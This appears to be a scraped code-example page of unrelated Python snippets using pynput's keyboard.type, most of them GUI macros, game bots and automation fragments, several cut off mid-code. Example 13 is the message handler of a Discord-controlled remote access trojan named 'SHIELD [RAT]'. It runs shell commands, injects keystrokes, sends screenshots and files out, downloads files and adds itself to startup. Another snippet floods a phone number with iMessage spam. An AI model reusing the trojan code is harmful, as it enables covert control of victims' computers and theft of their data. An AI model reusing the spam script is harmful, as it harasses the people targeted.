示例#1
0
def myMainEvent():
    from pynput.keyboard import Controller, Key
    import time
    keyboard = Controller()

    if Status.my_current_loop == 0:
        with keyboard.pressed(Key.alt):
            keyboard.press(Key.tab)
            keyboard.release(Key.tab)

    time.sleep(0.2)  # Delays for 5 seconds. You can also use a float value.
    '''
    This is infinite loop. The index of loop will start from 0.
    It means the Status.my_current_loop == 0 as above code.
    '''
    if Status.my_current_loop < 16:
        keyboard.type(",\"")
        keyboard.press(Key.end)
        keyboard.release(Key.end)
        keyboard.type("\"")
        keyboard.press(Key.down)
        keyboard.release(Key.down)
        keyboard.press(Key.home)
        keyboard.release(Key.home)
    '''
    with keyboard .pressed(Key.ctrl):
        keyboard.press('v')
        keyboard.release('v')        
    '''
    Status.my_current_loop = Status.my_current_loop + 1
def one_round_map(dirname):
    ckck(1382, 435)
    ckck(1519, 728)
    ckck(1878, 580)
    keyboard.type(
        'C:\\Users\\Dadada\\Documents\\wgeWorldHistory\\DataPre-processing\\map\\allOKmaps\\'
        + dirname + 'map.png')
    time.sleep(2)
    ckck(1800, 740)
    ckck(1648, 644)
    ckck(1880, 572)
    ckck(1796, 746)
    ckck(1656, 643)
    ckck(1523, 604)
    ckck(1970, 1069)
    ckck(1626, 715)
    ckck(1626, 715)
    ckck(1946, 1078)
    keyboard.type(
        'C:\\Users\\Dadada\\Documents\\wgeWorldHistory\\DataPre-processing\\map\\mapball\\'
        + dirname)
    time.sleep(2)
    ckck(1069, 549)
    ckck(1865, 577)
    time.sleep(20)
    ckck(1848, 1081)
    ckck(1849, 1070)
    ckck(1177, 1006)
    ckck(1193, 992)
    ckck(1797, 1067)
示例#3
0
文件: Screen.py 项目: 5l1v3r1/RTFM-3
    def on_press(self, key):
        #keyboard.type('test')
        if key == keyboard.Key.up:
            keyboard.type('UP\n')
            self._cmdHistoryIndex -= 1
        elif key == keyboard.Key.down:
            keyboard.type('DOWN\n')
            self._cmdHistoryIndex += 1

        if self._cmdHistoryIndex < 0:
            self._cmdHistoryIndex == 0
        elif self._cmdHistoryIndex > (len(self._cmdHistory) - 1):
            self._cmdHistoryIndex = len(self._cmdHistory) - 1

        return
示例#4
0
    def write(self, text):
        if text == "%{TAB}":
            with keyboard.pressed(key.alt):
                keyboard.press(key.tab)
                keyboard.release(key.tab)
        elif text == "%{TAB 2}":
            with keyboard.pressed(key.alt):
                keyboard.press(key.tab)
                keyboard.release(key.tab)
                time.sleep(0.1)
                keyboard.press(key.tab)
                keyboard.release(key.tab)
        elif text == "%{TAB 3}":
            with keyboard.pressed(key.alt):
                keyboard.press(key.tab)
                keyboard.release(key.tab)
                time.sleep(0.1)
                keyboard.press(key.tab)
                keyboard.release(key.tab)
                time.sleep(0.1)
                keyboard.press(key.tab)
                keyboard.release(key.tab)
        elif text == "%T":
            with keyboard.pressed(key.alt):
                keyboard.type("T")

        elif text == "{DOWN}":
            keyboard.press(key.down)
            keyboard.release(key.down)

        elif text == "{ESC}":
            keyboard.press(key.esc)
            keyboard.release(key.esc)

        elif text == "{F5}":
            #with keyboard.pressed(key.alt):
            keyboard.press(key.f5)
            keyboard.release(key.f5)
        elif text == "{ENTER}":
            #with keyboard.pressed(key.alt):
            keyboard.press(key.enter)
            keyboard.release(key.enter)

        else:
            keyboard.type(text)
示例#5
0
    cv2.waitKey(0)
    cv2.destroyAllWindows()
    return count


while (1):
    print(mouse.position)
lista = open('lista.txt', 'r').read()
lista2f = open('lista2.txt', 'a')
lista2 = []
for x in lista.split('\n'):
    print(x)
    mouse.position = (750, 750)
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.07 + 0.03 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.07 + 0.03 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.3 + 0.1 * random.random())
    keyboard.type(x)
    time.sleep(1 + 0.1 * random.random())
    lista2.append(find())
    lista2f.write(str(lista2[len(lista2) - 1]) + '\n')
    print(lista2[len(lista2) - 1])
示例#6
0
from pynput import keyboard, mouse
from pynput.keyboard import Key

import time

keyboard = keyboard.Controller()
mouseC = mouse.Controller()
wait = 0.1

mouseC.click(mouse.Button.left)

for i in range(100):
    keyboard.type(str(i))

    time.sleep(0.01)
    keyboard.press(Key.enter)

示例#7
0
文件: troca.py 项目: illity/Python
keyboard = pynput.keyboard.Controller()
mouse = pynput.mouse.Controller()

#while(1): print(mouse.position)
lista = open('listanov.txt', 'r').read()
l = lista.split('\n')
for null in l:
    print(null)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.05 + 0.02 * random.random())
    keyboard.type(null.split(' -')[0])
    time.sleep(1.5 + 0.1 * random.random())
    mouse.position = (1600, 120)
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.05 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.05 + 0.02 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    time.sleep(0.3)
示例#8
0
from pynput import keyboard, mouse
from pynput.keyboard import Key

import time

keyboard = keyboard.Controller()
mouse = mouse.Controller()
wait = 0.1

keyboard.press(Key.cmd)
keyboard.press(Key.space)

keyboard.release(Key.cmd)
keyboard.release(Key.space)

time.sleep(wait)
keyboard.type("terminal")
time.sleep(wait)
keyboard.press(Key.enter)
time.sleep(wait)
keyboard.type("cd ~/Desktop/Python\ for\ fun~/fun/")
time.sleep(wait)
keyboard.press(Key.enter)
time.sleep(wait)
keyboard.type("Python MouseTesting.py")
time.sleep(wait)
keyboard.press(Key.enter)
keyboard.release(Key.enter)
示例#9
0
文件: c.py 项目: illity/Python
import numpy as np
from PIL import ImageGrab
import time
img = np.array(ImageGrab.grab(bbox=(750, 854, 1150, 868)))
img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
import pynput.keyboard
keyboard = pynput.keyboard.Controller()
keys = ['', '', '', '']
while (1):
    img2 = np.array(ImageGrab.grab(bbox=(750, 854, 1150, 868)))
    img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)
    #cv2.imshow('',img2)
    #cv2.imwrite('a.png',img2)
    #cv2.waitKey(1)
    key = ''
    #print(n)
    if 69 in np.where(img2 == 255)[1]:
        key = key + 'a'
    if 132 in np.where(img2 == 255)[1]:
        key = key + 's'
    if 197 in np.where(img2 == 255)[1]:
        key = key + 'j'
    if 266 in np.where(img2 == 255)[1]:
        key = key + 'k'
    if 329 in np.where(img2 == 255)[1]:
        key = key + 'l'
    keys = keys + [key]
    if keys[0] != 'asjkl':
        keyboard.type(keys[0])
    keys.pop(0)
    print(keys)
示例#10
0
import time
from pynput import keyboard
from pynput.keyboard import Key, Controller

keyboard = Controller()
i = 1

while i < 999:
    time.sleep(3)
    keyboard.type('pls porngif')
    keyboard.press(Key.enter)
    keyboard.release(Key.enter)
    time.sleep(3)
    keyboard.type('pls boobies')
    keyboard.press(Key.enter)
    keyboard.release(Key.enter)
##        keyboard.type('@everyone')
##        keyboard.press(Key.enter)
##        keyboard.release(Key.enter)
##        time.sleep(0.5)
    with keyboard.Listener(on_press=on_press,
                           on_release=on_release) as listener:
        listener.join()

    # ...or, in a non-blocking fashion:
    listener = keyboard.Listener(on_press=on_press, on_release=on_release)
    listener.start()

    from pynput.keyboard import Key, Controller

    keyboard = Controller()

    # Press and release space
    keyboard.press(Key.space)
    keyboard.release(Key.space)

    # Type a lower case A; this will work even if no key on the
    # physical keyboard is labelled 'A'
    keyboard.press('a')
    keyboard.release('a')

    # Type two upper case As
    keyboard.press('A')
    keyboard.release('A')
    with keyboard.pressed(Key.shift):
        keyboard.press('a')
        keyboard.release('a')

    # Type 'Hello World' using the shortcut type method
    keyboard.type('Hello World')
示例#12
0
 img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)
 key = ''
 if 10 in np.where(img2 == 255)[1]:
     key = key + 'a'
 if 43 in np.where(img2 == 255)[1]:
     key = key + 's'
 if 77 in np.where(img2 == 255)[1]:
     key = key + 'j'
 if 115 in np.where(img2 == 255)[1]:
     key = key + 'k'
 if 147 in np.where(img2 == 255)[1]:
     key = key + 'l'
 keys = keys + [key]
 b += 1
 key = ''
 if b % 4 == 0:
     if 'a' in keys[0] or 'a' in keys[1]:
         key += 'a'
     if 's' in keys[0] or 's' in keys[1]:
         key += 's'
     if 'j' in keys[0] or 'j' in keys[1]:
         key += 'j'
     if 'k' in keys[0] or 'k' in keys[1]:
         key += 'k'
     if 'l' in keys[0] or 'l' in keys[1]:
         key += 'l'
     if key != '' and key != 'asjkl':
         keyboard.type(key)
 keys.pop(0)
 #10 erradas 5 perdidas
 #print(keys)
示例#13
0
async def on_message(message):
    print(str(message.content.strip()))
    if message.attachments:
        print(message.attachments)
    if message.author == client.user:
        return
    elif str(message.content.strip()) == 'help':
        await message.channel.send(banner)


    elif str(message.content.strip()) == 'author':
        await message.channel.send('Cyr0_warrior the author of SHIELD [RAT]')
        
    elif 'keystroke' in message.content:
         keyboard.type(message.content.replace('keystroke', ''))
         await message.channel.send('Injected Succesfully....')

    elif str(message.content.strip()) == 'shutdown':
        intr('shutdown /s')
        await message.channel.send('Shutdown Signal Sended...!!')

    elif str(message.content.strip()) == 'lock':
        ctypes.windll.user32.LockWorkStation()
        await message.channel.send('locked successfully...')

    elif 'sendmsg' in message.content :
        i = message.content.replace('sendmsg', '')
        ctypes.windll.user32.MessageBoxW(0, i, "SHIELD RAT", 0)

    elif str(message.content.strip()) == 'tasklist':
        cmd=intr('wmic process get description')
        f = open(r'C:\Windows\Temp\task.txt', 'w')
        f.write(cmd.decode('utf-8').strip())
        f.close()

        with open(r'C:\Windows\Temp\task.txt', 'r') as file:
            msg = file.read(2000).strip()
            while len(msg) > 0:
                await message.channel.send(msg)
                msg = file.read(2000).strip()
                open(r'C:\Windows\Temp\task.txt', 'w').close()

    elif 'taskkill' in message.content:
        cr = message.content.replace('taskkill', '')
        try:
            j=intr(f'TASKKILL /F /IM {cr}')
            await message.channel.send(j.decode())
        except:
            await message.channel.send('invalid process')
    elif str(message.content.strip()) == 'sysinfo':
        await message.channel.send(sysinfo)
        
    elif str(message.content.strip()) == 'screenshot':
        code = random.randint(999, 9999)
        path = resource_path('printscreen.exe')
        print(path)
        intr(fr'{path} > C:\Windows\Temp\{code}.jpg')
        await message.channel.send(file=discord.File(fr'C:\Windows\Temp\{code}.jpg'))
        os.remove(fr'C:\Windows\Temp\{code}.jpg')
        
    elif str(message.content.strip()) == 'copytostartup':
        add_to()
        await message.channel.send('Payload added to startup...')
        
    elif str(message.content.strip()) == 'beep':
        frequency = 9000  
        duration = 1000  
        winsound.Beep(frequency, duration)
        await message.channel.send('beeped successfully...')

    elif str(message.content.strip()) == 'upload':
        i=message.content.replace('upload', '')
        try:
            await message.channel.send(file=discord.File(i.strip()))
        except Exception as e:
            if 'Payload Too Large' in str(e):
                 await message.channel.send('the file selected is too large to send from discord')
            else:
                await message.channel.send(str(e))
    elif 'find' in message.content:
        i=message.content.replace('find', '')
        await message.channel.send(find(i.strip(), os.getcwd()))
        
    elif 'download' in message.content:
        try:
            i=message.content.replace('download', '')
            outfile=i.split('/')[len(i.split('/'))-1]
            r = requests.get(i)
            f = open(fr'C:\Windows\Temp\{outfile}', 'wb')
            f.write(r.content)
            f.close()
            await message.channel.send('download successfully to the server named: '+str(outfile))
        except Exception as e:
            await message.channel.send(str(e))
    elif str(message.content.strip()) == 'shell':
        try:
            out = intr(message.content.replace('shell', ''))
            f = open(r'C:\Windows\Temp\task.txt', 'w')
            f.write(out.decode().strip())
            f.close()

            with open(r'C:\Windows\Temp\task.txt', 'r') as file:
                msg = file.read(2000).strip()
                while len(msg) > 0:
                    await message.channel.send(msg.strip())
                    msg = file.read(2000).strip()
                    open(r'C:\Windows\Temp\task.txt', 'w').close()

        except Exception as e:
            await message.channel.send('COMMAND RETURN TO ERROR')


    elif str(message.content.strip()) == 'enabletaskbar':
        unhide_taskbar()
        await message.channel.send('Taskbar Enabled...')


    elif str(message.content.strip()) == 'disabletaskbar':
        hide_taskbar()
        await message.channel.send('Taskbar Disabled...')        
示例#14
0
number = raw_input()

print("Now type in the message you want to spam")
message = raw_input()

print("Finally put in how many times you would like to spam them")
spam = raw_input()
spam = int(spam)

# opens messages and starts spam
subprocess.call(["/usr/bin/open", "/System/Applications/Messages.app"])
time.sleep(3)
keyboard.press(Key.cmd)
keyboard.press('n')
keyboard.release(Key.cmd)
keyboard.release('n')

time.sleep(3)
keyboard.type(number)

keyboard.press(Key.enter)
keyboard.release(Key.enter)

time.sleep(1)
for x in range(spam):
    keyboard.type(message)
    keyboard.press(Key.enter)
    keyboard.release(Key.enter)
    time.sleep(4)

print("The spam is complete")
示例#15
0
import time
import pynput.mouse
import pynput.keyboard
keyboard = pynput.keyboard.Controller()
mouse = pynput.mouse.Controller()

#while(1): print(mouse.position)
mouse.position = (85, 285)
mouse.press(pynput.mouse.Button.left)
time.sleep(0.03 + 0.02 * random.random())
mouse.release(pynput.mouse.Button.left)
time.sleep(0.07 + 0.03 * random.random())
mouse.press(pynput.mouse.Button.left)
time.sleep(0.03 + 0.02 * random.random())
mouse.release(pynput.mouse.Button.left)
time.sleep(0.07 + 0.03 * random.random())
mouse.press(pynput.mouse.Button.left)
time.sleep(0.03 + 0.02 * random.random())
mouse.release(pynput.mouse.Button.left)
time.sleep(0.3 + 0.01 * random.random())
keyboard.type('coquille de submerge')
time.sleep(2)
mouse.position = (300, 305)
time.sleep(0.1 + 0.01 * random.random())
mouse.press(pynput.mouse.Button.left)
time.sleep(0.1 + 0.01 * random.random())
mouse.release(pynput.mouse.Button.left)
time.sleep(1)
img_bgr = np.array(ImageGrab.grab(bbox=(375, 325, 675, 437)))
img_gray = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2GRAY)
cv2.imwrite('{}.png'.format(null), img_gray)
示例#16
0
keyboard = pynput.keyboard.Controller()
mouse = pynput.mouse.Controller()

a = open('names.txt', 'r').read()
b = open('qtd.txt', 'r').read()
c = open('listacompleta.txt', 'a')
l1 = a.split('\n')
l2 = b.split('\n')
for i in range(len(l1)):
    mouse.position = (1317, 274)
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.07 + 0.03 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.07 + 0.03 * random.random())
    mouse.press(pynput.mouse.Button.left)
    time.sleep(0.03 + 0.02 * random.random())
    mouse.release(pynput.mouse.Button.left)
    time.sleep(0.3 + 0.1 * random.random())
    keyboard.type(l1[i])
    time.sleep(1 + 0.1 * random.random())
    print(int(l2[i]))
    for j in range(int(l2[i])):
        print(l1[i])
        time.sleep(0.8)
        mouse.position = (1855, 415)
        mouse.press(pynput.mouse.Button.left)
        mouse.release(pynput.mouse.Button.left)